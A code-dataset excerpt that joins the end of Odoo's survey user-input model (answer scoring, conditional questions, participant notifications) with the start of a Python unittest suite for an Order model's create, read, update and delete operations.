question_correct_suggested_answers and correct_user_input_lines == question_correct_suggested_answers:\n return 'correct'\n elif correct_user_input_lines and correct_user_input_lines < question_correct_suggested_answers:\n return 'partial'\n elif not correct_user_input_lines and incorrect_user_input_lines:\n return 'incorrect'\n else:\n return 'skipped'\n\n def _simple_choice_question_answer_result(self, user_input_line, question_correct_suggested_answers, question_incorrect_scored_answers):\n user_answer = user_input_line.suggested_answer_id if not user_input_line.skipped else self.env['survey.question.answer']\n if user_answer in question_correct_suggested_answers:\n return 'correct'\n elif user_answer in question_incorrect_scored_answers:\n return 'partial'\n elif user_answer:\n return 'incorrect'\n else:\n return 'skipped'\n\n def _simple_question_answer_result(self, user_input_line):\n if user_input_line.skipped:\n return 'skipped'\n elif user_input_line.answer_is_correct:\n return 'correct'\n else:\n return 'incorrect'\n\n # ------------------------------------------------------------\n # Conditional Questions Management\n # ------------------------------------------------------------\n\n def _get_conditional_values(self):\n \"\"\" For survey containing conditional questions, we need a triggered_questions_by_answer map that contains\n {key: answer, value: the question that the answer triggers, if selected},\n The idea is to be able to verify, on every answer check, if this answer is triggering the display\n of another question.\n If answer is not in the conditional map:\n - nothing happens.\n If the answer is in the conditional map:\n - If we are in ONE PAGE survey : (handled at CLIENT side)\n -> display immediately the depending question\n - If we are in PAGE PER SECTION : (handled at CLIENT side)\n - If related question is on the same page :\n -> display immediately the depending question\n - If the related question is not on the same page :\n -> keep the answers in memory and check at next page load if the depending question is in there and\n display it, if so.\n - If we are in PAGE PER QUESTION : (handled at SERVER side)\n -> During submit, determine which is the next question to display getting the next question\n that is the next in sequence and that is either not triggered by another question's answer, or that\n is triggered by an already selected answer.\n To do all this, we need to return:\n - triggering_answers_by_question: dict -> for a given question, the answers that triggers it\n Used mainly to ease template rendering\n - triggered_questions_by_answer: dict -> for a given answer, list of questions triggered by this answer;\n Used mainly for dynamic show/hide behaviour at client side\n - list of all selected answers: [answer_id1, answer_id2, ...] (for survey reloading, otherwise, this list is\n updated at client side)\n \"\"\"\n triggering_answers_by_question = {}\n triggered_questions_by_answer = {}\n # Ignore conditional configuration if randomised questions selection\n if self.survey_id.questions_selection != 'random':\n triggering_answers_by_question, triggered_questions_by_answer = self.survey_id._get_conditional_maps()\n selected_answers = self._get_selected_suggested_answers()\n\n return triggering_answers_by_question, triggered_questions_by_answer, selected_answers\n\n def _get_selected_suggested_answers(self):\n \"\"\"\n For now, only simple and multiple choices question type are handled by the conditional questions feature.\n Mapping all the suggested answers selected by the user will also include answers from matrix question type,\n Those ones won't be used.\n Maybe someday, conditional questions feature will be extended to work with matrix question.\n :return: all the suggested answer selected by the user.\n \"\"\"\n return self.mapped('user_input_line_ids.suggested_answer_id')\n\n def _clear_inactive_conditional_answers(self):\n \"\"\"\n Clean eventual answers on conditional questions that should not have been displayed to user.\n This method is used mainly for page per question survey, a similar method does the same treatment\n at client side for the other survey layouts.\n E.g.: if depending answer was uncheck after answering conditional question, we need to clear answers\n of that conditional question, for two reasons:\n - ensure correct scoring\n - if the selected answer triggers another question later in the survey, if the answer is not cleared,\n a question that should not be displayed to the user will be.\n\n TODO DBE: Maybe this can be the only cleaning method, even for section_per_page or one_page where\n conditional questions are, for now, cleared in JS directly. But this can be annoying if user typed a long\n answer, changed their mind unchecking depending answer and changed again their mind by rechecking the depending\n answer -> For now, the long answer will be lost. If we use this as the master cleaning method,\n long answer will be cleared only during submit.\n \"\"\"\n inactive_questions = self._get_inactive_conditional_questions()\n\n # delete user.input.line on question that should not be answered.\n answers_to_delete = self.user_input_line_ids.filtered(lambda answer: answer.question_id in inactive_questions)\n answers_to_delete.unlink()\n\n def _get_inactive_conditional_questions(self):\n triggering_answers_by_question, _, selected_answers = self._get_conditional_values()\n\n # get questions that should not be answered\n inactive_questions = self.env['survey.question']\n for question, triggering_answers in triggering_answers_by_question.items():\n if triggering_answers and not triggering_answers & selected_answers:\n inactive_questions |= question\n return inactive_questions\n\n def _get_print_questions(self):\n \"\"\" Get the questions to display : the ones that should have been answered = active questions\n In case of session, active questions are based on most voted answers\n :return: active survey.question browse records\n \"\"\"\n survey = self.survey_id\n if self.is_session_answer:\n most_voted_answers = survey._get_session_most_voted_answers()\n inactive_questions = most_voted_answers._get_inactive_conditional_questions()\n else:\n inactive_questions = self._get_inactive_conditional_questions()\n return survey.question_ids - inactive_questions\n\n def _get_next_skipped_page_or_question(self):\n \"\"\"Get next skipped question or page in case the option 'can_go_back' is set on the survey\n It loops to the first skipped question or page if 'last_displayed_page_id' is the last\n skipped question or page.\"\"\"\n self.ensure_one()\n skipped_mandatory_answer_ids = self.user_input_line_ids.filtered(\n lambda answer: answer.skipped and answer.question_id.constr_mandatory)\n\n if not skipped_mandatory_answer_ids:\n return self.env['survey.question']\n\n page_or_question_key = 'page_id' if self.survey_id.questions_layout == 'page_per_section' else 'question_id'\n page_or_question_ids = skipped_mandatory_answer_ids.mapped(page_or_question_key).sorted()\n\n if self.last_displayed_page_id not in page_or_question_ids\\\n or self.last_displayed_page_id == page_or_question_ids[-1]:\n return page_or_question_ids[0]\n\n current_page_index = page_or_question_ids.ids.index(self.last_displayed_page_id.id)\n return page_or_question_ids[current_page_index + 1]\n\n def _get_skipped_questions(self):\n self.ensure_one()\n\n return self.user_input_line_ids.filtered(\n lambda answer: answer.skipped and answer.question_id.constr_mandatory).question_id\n\n def _is_last_skipped_page_or_question(self, page_or_question):\n \"\"\"In case of a submitted survey tells if the question or page is the last\n skipped page or question.\n\n This is used to :\n\n - Display a Submit button if the actual question is the last skipped question.\n - Avoid displaying a Submit button on the last survey question if there are\n still skipped questions before.\n - Avoid displaying the next page if submitting the latest skipped question.\n\n :param page_or_question: page if survey's layout is page_per_section, question if page_per_question.\n \"\"\"\n if self.survey_id.questions_layout == 'one_page':\n return True\n skipped = self._get_skipped_questions()\n if not skipped:\n return True\n if self.survey_id.questions_layout == 'page_per_section':\n skipped = skipped.page_id\n return skipped == page_or_question\n\n # ------------------------------------------------------------\n # MESSAGING\n # ------------------------------------------------------------\n\n def _message_get_suggested_recipients(self):\n recipients = super()._message_get_suggested_recipients()\n for user_input in self:\n if user_input.partner_id:\n user_input._message_add_suggested_recipient(\n recipients,\n partner=user_input.partner_id,\n reason=_('Survey Participant')\n )\n return recipients\n\n def _notify_new_participation_subscribers(self):\n subtype_id = self.env.ref('survey.mt_survey_survey_user_input_completed', raise_if_not_found=False)\n if not self.ids or not subtype_id:\n return\n author_id = self.env.ref('base.partner_root').id if self.env.user.is_public else self.env.user.partner_id.id\n # Only post if there are any followers\n recipients_data = self.env['mail.followers']._get_recipient_data(self.survey_id, 'notification', subtype_id.id)\n followed_survey_ids = [survey_id for survey_id, followers in recipients_data.items() if followers]\n for user_input in self.filtered(lambda user_input_: user_input_.survey_id.id in followed_survey_ids):\n survey_title = user_input.survey_id.title\n if user_input.partner_id:\n body = _(\n '%(participant) just participated in \"%(survey_title)s\".',\n participant=user_input.partner_id.display_name,\n survey_title=survey_title,\n )\n else:\n body = _('Someone just participated in \"%(survey_title)s\".', survey_title=survey_title)\n\n user_input.message_post(author_id=author_id, body=body, subtype_xmlid='survey.mt_survey_user_input_completed')\n\n\nclass SurveyUserInputLine(models.Model):\n _name = 'survey.user_input.line'\n _description = 'Survey User Input Line'\n _rec_name = 'user_input_id'\n _order = 'question_sequence, id'\n\n # survey data\n user_input_id = fields.Many2one('survey.user_input', string='User Input', ondelete='cascade', required=True, index=True)\n survey_id = fields.Many2one(related='user_input_id.survey_id', string='Survey', store=True, readonly=False)\n question_id = fields.Many2one('survey.question', string='Question', ondelete='cascade', required=True)\n page_id = fields.Many2one(related='question_id.page_id', string=\"Section\", readonly=False)\n question_sequence = fields.Integer('Sequence', related='question_id.sequence', store=True)\n # answer\n skipped = fields.Boolean('Skipped')\n answer_type = fields.Selection([\n ('text_box', 'Free Text'),\n ('char_box', 'Text'),\n ('numerical_box', 'Number'),\n ('date', 'Date'),\n ('datetime', 'Datetime'),\n ('suggestion', 'Suggestion')], string='Answer Type')\n value_char_box = fields.Char('Text answer')\n value_numerical_box = fields.Float('Numerical answer')\n value_date = fields.Date('Date answer')\n value_datetime = fields.Datetime('Datetime answer')\n value_text_box = fields.Text('Free Text answer')\n suggested_answer_id = fields.Many2one('survey.question.answer', string=\"Suggested answer\")\n matrix_row_id = fields.Many2one('survey.question.answer', string=\"Row answer\")\n # scoring\n answer_score = fields.Float('Score')\n answer_is_correct = fields.Boolean('Correct')\n\n @api.depends(\n 'answer_type', 'value_text_box', 'value_numerical_box',\n 'value_char_box', 'value_date', 'value_datetime',\n 'suggested_answer_id.value', 'matrix_row_id.value',\n )\n def _compute_display_name(self):\n for line in self:\n if line.answer_type == 'char_box':\n line.display_name = line.value_char_box\n elif line.answer_type == 'text_box' and line.value_text_box:\n line.display_name = textwrap.shorten(line.value_text_box, width=50, placeholder=\" [...]\")\n elif line.answer_type == 'numerical_box':\n line.display_name = line.value_numerical_box\n elif line.answer_type == 'date':\n line.display_name = fields.Date.to_string(line.value_date)\n elif line.answer_type == 'datetime':\n line.display_name = fields.Datetime.to_string(line.value_datetime)\n elif line.answer_type == 'suggestion':\n if line.matrix_row_id:\n line.display_name = f'{line.suggested_answer_id.value}: {line.matrix_row_id.value}'\n else:\n line.display_name = line.suggested_answer_id.value\n\n if not line.display_name:\n line.display_name = _('Skipped')\n\n @api.constrains('skipped', 'answer_type')\n def _check_answer_type_skipped(self):\n for line in self:\n if (line.skipped == bool(line.answer_type)):\n raise ValidationError(_('A question can either be skipped or answered, not both.'))\n\n # allow 0 for numerical box\n if line.answer_type == 'numerical_box' and float_is_zero(line['value_numerical_box'], precision_digits=6):\n continue\n if line.answer_type == 'suggestion':\n field_name = 'suggested_answer_id'\n elif line.answer_type:\n field_name = 'value_%s' % line.answer_type\n else: # skipped\n field_name = False\n\n if field_name and not line[field_name]:\n raise ValidationError(_('The answer must be in the right type'))\n\n @api.model_create_multi\n def create(self, vals_list):\n for vals in vals_list:\n if not vals.get('answer_score'):\n score_vals = self._get_answer_score_values(vals)\n vals.update(score_vals)\n return super(SurveyUserInputLine, self).create(vals_list)\n\n def write(self, vals):\n res = True\n for line in self:\n vals_copy = {**vals}\n getter_params = {\n 'user_input_id': line.user_input_id.id,\n 'answer_type': line.answer_type,\n 'question_id': line.question_id.id,\n **vals_copy\n }\n if not vals_copy.get('answer_score'):\n score_vals = self._get_answer_score_values(getter_params, compute_speed_score=False)\n vals_copy.update(score_vals)\n res = super(SurveyUserInputLine, line).write(vals_copy) and res\n return res\n\n def _get_answer_matching_domain(self):\n self.ensure_one()\n if self.answer_type in ('char_box', 'text_box', 'numerical_box', 'date', 'datetime'):\n value_field = {\n 'char_box': 'value_char_box',\n 'text_box': 'value_text_box',\n 'numerical_box': 'value_numerical_box',\n 'date': 'value_date',\n 'datetime': 'value_datetime',\n }\n operators = {\n 'char_box': 'ilike',\n 'text_box': 'ilike',\n 'numerical_box': '=',\n 'date': '=',\n 'datetime': '=',\n }\n return ['&', ('question_id', '=', self.question_id.id), (value_field[self.answer_type], operators[self.answer_type], self._get_answer_value())]\n elif self.answer_type == 'suggestion':\n return self.suggested_answer_id._get_answer_matching_domain(self.matrix_row_id.id if self.matrix_row_id else False)\n\n @api.model\n def _get_answer_score_values(self, vals, compute_speed_score=True):\n \"\"\" Get values for: answer_is_correct and associated answer_score.\n\n Requires vals to contain 'answer_type', 'question_id', and 'user_input_id'.\n Depending on 'answer_type' additional value of 'suggested_answer_id' may also be\n required.\n\n Calculates whether an answer_is_correct and its score based on 'answer_type' and\n corresponding question. Handles choice (answer_type == 'suggestion') questions\n separately from other question types. Each selected choice answer is handled as an\n individual answer.\n\n If score depends on the speed of the answer, it is adjusted as follows:\n - If the user answers in less than 2 seconds, they receive 100% of the possible points.\n - If user answers after that, they receive 50% of the possible points + the remaining\n 50% scaled by the time limit and time taken to answer [i.e. a minimum of 50% of the\n possible points is given to all correct answers]\n\n Example of returned values:\n * {'answer_is_correct': False, 'answer_score': 0} (default)\n * {'answer_is_correct': True, 'answer_score': 2.0}\n \"\"\"\n user_input_id = vals.get('user_input_id')\n answer_type = vals.get('answer_type')\n question_id = vals.get('question_id')\n if not question_id:\n raise ValueError(_('Computing score requires a question in arguments.'))\n question = self.env['survey.question'].browse(int(question_id))\n\n # default and non-scored questions\n answer_is_correct = False\n answer_score = 0\n\n # record selected suggested choice answer_score (can be: pos, neg, or 0)\n if question.question_type in ['simple_choice', 'multiple_choice']:\n if answer_type == 'suggestion':\n suggested_answer_id = vals.get('suggested_answer_id')\n if suggested_answer_id:\n question_answer = self.env['survey.question.answer'].browse(int(suggested_answer_id))\n answer_score = question_answer.answer_score\n answer_is_correct = question_answer.is_correct\n # for all other scored question cases, record question answer_score (can be: pos or 0)\n elif question.question_type in ['date', 'datetime', 'numerical_box']:\n answer = vals.get('value_%s' % answer_type)\n if answer_type == 'numerical_box':\n answer = float(answer)\n elif answer_type == 'date':\n answer = fields.Date.from_string(answer)\n elif answer_type == 'datetime':\n answer = fields.Datetime.from_string(answer)\n if answer and answer == question['answer_%s' % answer_type]:\n answer_is_correct = True\n answer_score = question.answer_score\n\n if compute_speed_score and answer_score > 0:\n user_input = self.env['survey.user_input'].browse(user_input_id)\n session_speed_rating = user_input.exists() and user_input.is_session_answer and user_input.survey_id.session_speed_rating\n if session_speed_rating:\n max_score_delay = 2\n time_limit = question.time_limit\n now = fields.Datetime.now()\n seconds_to_answer = (now - user_input.survey_id.session_question_start_time).total_seconds()\n question_remaining_time = time_limit - seconds_to_answer\n # if answered within the max_score_delay => leave score as is\n if question_remaining_time < 0: # if no time left\n answer_score /= 2\n elif seconds_to_answer > max_score_delay:\n time_limit -= max_score_delay # we remove the max_score_delay to have all possible values\n score_proportion = (time_limit - seconds_to_answer) / time_limit\n answer_score = (answer_score / 2) * (1 + score_proportion)\n\n return {\n 'answer_is_correct': answer_is_correct,\n 'answer_score': answer_score\n }\n\n def _get_answer_value(self):\n self.ensure_one()\n if self.answer_type == 'char_box':\n return self.value_char_box\n elif self.answer_type == 'text_box':\n return self.value_text_box\n elif self.answer_type == 'numerical_box':\n return self.value_numerical_box\n elif self.answer_type == 'date':\n return self.value_date\n elif self.answer_type == 'datetime':\n return self.value_datetime\n elif self.answer_type == 'suggestion':\n return self.suggested_answer_id.value\n", "repo_name": "odoo/odoo", "sub_path": "addons/survey/models/survey_user_input.py", "file_name": "survey_user_input.py", "file_ext": "py", "file_size_in_byte": 45288, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31745, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "odoo.models.Model", "line_number": 14, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 14, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 23, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 23, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 24, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 24, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime", "line_number": 25, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 25, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime", "line_number": 26, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 26, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime", "line_number": 27, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 27, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 28, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 28, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 32, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 32, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 33, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 33, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 35, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 35, "usage_type": "name"}, {"api_name": "odoo.fields.Integer", "line_number": 36, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 36, "usage_type": "name"}, {"api_name": "odoo.fields.Integer", "line_number": 37, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 37, "usage_type": "name"}, {"api_name": "odoo.fields.Integer", "line_number": 38, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 38, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 39, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 39, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 41, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 41, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 41, "usage_type": "call"}, {"api_name": "odoo.fields.Char", "line_number": 42, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 42, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 43, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 43, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 44, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 44, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 45, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 45, "usage_type": "name"}, {"api_name": "odoo.fields.One2many", "line_number": 47, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 47, "usage_type": "name"}, {"api_name": "odoo.fields.Many2many", "line_number": 48, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 48, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 49, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 49, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 50, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 50, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 51, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 51, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 52, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 52, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 54, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 54, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 55, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 55, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 61, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 61, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 83, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 83, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime.now", "line_number": 99, "usage_type": "call"}, {"api_name": "odoo.fields.Datetime", "line_number": 99, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 99, "usage_type": "name"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 99, "usage_type": "call"}, {"api_name": "odoo.api.depends", "line_number": 88, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 88, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime.now", "line_number": 115, "usage_type": "call"}, {"api_name": "odoo.fields.Datetime", "line_number": 115, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 115, "usage_type": "name"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 115, "usage_type": "call"}, {"api_name": "odoo.api.depends", "line_number": 103, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 103, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 119, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 119, "usage_type": "name"}, {"api_name": "odoo.api.model_create_multi", "line_number": 162, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 162, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 219, "usage_type": "call"}, {"api_name": "odoo.api.model", "line_number": 217, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 217, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime.now", "line_number": 224, "usage_type": "call"}, {"api_name": "odoo.fields.Datetime", "line_number": 224, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 224, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime.now", "line_number": 238, "usage_type": "call"}, {"api_name": "odoo.fields.Datetime", "line_number": 238, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 238, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 284, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 284, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 442, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 477, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 478, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 479, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 480, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 591, "usage_type": "name"}, {"api_name": "odoo._", "line_number": 673, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 688, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 694, "usage_type": "call"}, {"api_name": "odoo.models.Model", "line_number": 699, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 699, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 706, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 706, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 707, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 707, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 708, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 708, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 709, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 709, "usage_type": "name"}, {"api_name": "odoo.fields.Integer", "line_number": 710, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 710, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 712, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 712, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 713, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 713, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 720, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 720, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 721, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 721, "usage_type": "name"}, {"api_name": "odoo.fields.Date", "line_number": 722, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 722, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime", "line_number": 723, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 723, "usage_type": "name"}, {"api_name": "odoo.fields.Text", "line_number": 724, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 724, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 725, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 725, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 726, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 726, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 728, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 728, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 729, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 729, "usage_type": "name"}, {"api_name": "textwrap.shorten", "line_number": 741, "usage_type": "call"}, {"api_name": "odoo.fields.Date.to_string", "line_number": 745, "usage_type": "call"}, {"api_name": "odoo.fields.Date", "line_number": 745, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 745, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime.to_string", "line_number": 747, "usage_type": "call"}, {"api_name": "odoo.fields.Datetime", "line_number": 747, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 747, "usage_type": "name"}, {"api_name": "odoo._", "line_number": 755, "usage_type": "call"}, {"api_name": "odoo.api.depends", "line_number": 731, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 731, "usage_type": "name"}, {"api_name": "odoo.exceptions.ValidationError", "line_number": 761, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 761, "usage_type": "call"}, {"api_name": "odoo.tools.float_is_zero", "line_number": 764, "usage_type": "call"}, {"api_name": "odoo.exceptions.ValidationError", "line_number": 774, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 774, "usage_type": "call"}, {"api_name": "odoo.api.constrains", "line_number": 757, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 757, "usage_type": "name"}, {"api_name": "odoo.api.model_create_multi", "line_number": 776, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 776, "usage_type": "name"}, {"api_name": "odoo._", "line_number": 848, "usage_type": "call"}, {"api_name": "odoo.fields.Date.from_string", "line_number": 869, "usage_type": "call"}, {"api_name": "odoo.fields.Date", "line_number": 869, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 869, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime.from_string", "line_number": 871, "usage_type": "call"}, {"api_name": "odoo.fields.Datetime", "line_number": 871, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 871, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime.now", "line_number": 882, "usage_type": "call"}, {"api_name": "odoo.fields.Datetime", "line_number": 882, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 882, "usage_type": "name"}, {"api_name": "odoo.api.model", "line_number": 821, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 821, "usage_type": "name"}]} {"seq_id": "72240606951", "text": "\"\"\"\nTest cases for Order Model\n\n\"\"\"\nimport logging\nimport unittest\nimport os\nfrom service import app\nfrom service.models import Order, Item, DataValidationError, db\nfrom tests.factories import OrderFactory, ItemFactory\n\nDATABASE_URI = os.getenv(\n \"DATABASE_URI\", \"postgresql://postgres:postgres@localhost:5432/postgres\"\n)\n\n\n######################################################################\n# Order M O D E L T E S T C A S E S\n######################################################################\nclass TestOrder(unittest.TestCase):\n \"\"\"Test Cases for Order Model\"\"\"\n\n @classmethod\n def setUpClass(cls):\n \"\"\"This runs once before the entire test suite\"\"\"\n app.config[\"TESTING\"] = True\n app.config[\"DEBUG\"] = False\n app.config[\"SQLALCHEMY_DATABASE_URI\"] = DATABASE_URI\n app.logger.setLevel(logging.CRITICAL)\n Order.init_db(app)\n\n @classmethod\n def tearDownClass(cls):\n \"\"\"This runs once after the entire test suite\"\"\"\n\n def setUp(self):\n \"\"\"This runs before each test\"\"\"\n db.session.query(Order).delete() # clean up the last tests\n db.session.query(Item).delete() # clean up the last tests\n db.session.commit()\n\n def tearDown(self):\n \"\"\"This runs after each test\"\"\"\n db.session.remove()\n\n ######################################################################\n # T E S T C A S E S\n ######################################################################\n\n def test_create_an_order(self):\n \"\"\"It should Create an Order and assert that it exists\"\"\"\n fake_order = OrderFactory()\n # pylint: disable=unexpected-keyword-arg\n order = Order(\n name=fake_order.name,\n street=fake_order.street,\n city=fake_order.city,\n state=fake_order.state,\n postal_code=fake_order.postal_code,\n shipping_price=fake_order.shipping_price,\n date_created=fake_order.date_created,\n status=fake_order.status\n )\n self.assertIsNotNone(order)\n self.assertEqual(order.id, None)\n self.assertEqual(order.name, fake_order.name)\n self.assertEqual(order.street, fake_order.street)\n self.assertEqual(order.city, fake_order.city)\n self.assertEqual(order.state, fake_order.state)\n self.assertEqual(order.postal_code, fake_order.postal_code)\n self.assertEqual(order.shipping_price, fake_order.shipping_price)\n self.assertEqual(order.date_created, fake_order.date_created)\n self.assertEqual(order.shipping_price, fake_order.shipping_price)\n self.assertEqual(order.status, fake_order.status)\n\n def test_add_an_order(self):\n \"\"\"It should Create an order and add it to the database\"\"\"\n orders = Order.all()\n self.assertEqual(orders, [])\n order = OrderFactory()\n order.create()\n # Assert that it was assigned an id and shows up in the database\n self.assertIsNotNone(order.id)\n orders = Order.all()\n self.assertEqual(len(orders), 1)\n\n def test_read_order(self):\n \"\"\"It should Read an order\"\"\"\n order = OrderFactory()\n order.create()\n # import pdb\n\n # Read it back\n found_order = Order.find(order.id)\n # pdb.set_trace()\n\n print(\"FOUND ORDER HERE\")\n print(found_order)\n print(\"FOUND ORDER ITEM\")\n print(found_order.items)\n self.assertEqual(found_order.id, order.id)\n self.assertEqual(found_order.name, order.name)\n self.assertEqual(found_order.street, order.street)\n self.assertEqual(found_order.city, order.city)\n self.assertEqual(found_order.state, order.state)\n self.assertEqual(found_order.postal_code, order.postal_code)\n self.assertEqual(found_order.shipping_price, order.shipping_price)\n self.assertEqual(found_order.date_created, order.date_created)\n self.assertEqual(found_order.status, order.status)\n self.assertEqual(found_order.items, [])\n\n def test_update_order(self):\n \"\"\"It should Update an order\"\"\"\n order = OrderFactory(name=\"barton consedine\")\n order.create()\n # Assert that it was assigned an id and shows up in the database\n self.assertIsNotNone(order.id)\n self.assertEqual(order.name, \"barton consedine\")\n\n # Fetch it back\n order = Order.find(order.id)\n order.name = \"Sienna consedine\"\n order.update()\n\n # Fetch it back again\n order = Order.find(order.id)\n self.assertEqual(order.name, \"Sienna consedine\")\n\n def test_delete_an_order(self):\n \"\"\"It should Delete an order from the database\"\"\"\n orders = Order.all()\n self.assertEqual(orders, [])\n order = OrderFactory()\n order.create()\n # Assert that it was assigned an id and shows up in the database\n self.assertIsNotNone(order.id)\n orders = Order.all()\n self.assertEqual(len(orders), 1)\n order = orders[0]\n order.delete()\n orders = Order.all()\n 